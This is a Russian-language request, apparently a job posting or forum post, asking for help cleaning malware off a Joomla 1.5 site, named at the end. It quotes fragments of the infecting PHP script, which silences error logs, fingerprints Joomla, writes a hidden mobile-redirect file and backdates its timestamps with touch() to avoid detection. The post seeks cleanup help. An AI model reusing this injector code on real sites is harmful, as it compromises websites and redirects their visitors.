Почистить сайт на joomla 1.5 от вирусов
Нужно почистить сайт от вирусов, вот пример одного из файлов зловреда:
==================
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
ini_set('display_errors', 0);
error_reporting(0);
ignore_user_abort(true);
$path_to_root = $_SERVER['DOCUMENT_ROOT'];
$site_name = $_SERVER["SERVER_NAME"];
// START: Определяем CMS
$Joomla_proof = $_SERVER['DOCUMENT_ROOT']."/components/com_content/content.php";
$Joomla_proof_2 = $_SERVER['DOCUMENT_ROOT'].'/administrator/components/com_admin/admin.php';
$Joomla_proof_3 = $_SERVER['DOCUMENT_ROOT'].'/components/com_banners/controller.php';
============
function make_dir_and_file($path_get_time, $dir_to_include, $file_to_include) // $path_get_time - путь до файла или папки, с которого брать время. $dir_to_include - путь до папки, которую будем создавать. $file_to_include - путь до файла в этой папке, который будем создавать и в который будем инклудить.
{
global $data_mob;
$time_content_php = filemtime($path_get_time); // Узнаем дату посл. редактирования файла content.php, будем ориентироваться на него.
mkdir($dir_to_include, 0700); // Создаем папку, где будет файл router.php с кодом моб. редиректа.
if(is_dir($dir_to_include)) // Если папка создалась, то мутим дальше
{
$f = fopen ($file_to_include, "w"); // Записываем код мобильного редиректа
fwrite($f, $data_mob);
fclose($f);
if (file_exists($file_to_include)) // Если удалось записать в файл наш мою редирект, то делаем тач и сваливаем
{
touch($file_to_include, $time_content_php); // Делаем тач на дату до нашего прихода на файл и папку соответственно
touch($dir_to_include, $time_content_php);
$result = 'So good! File \'router.php\' has been create!';
}
else
{
rmdir($dir_to_include); // Удаляем папку mobile =(
$result = 'Can\'t make file router.php ((';
}
============
пациент: http://albusdentas.ru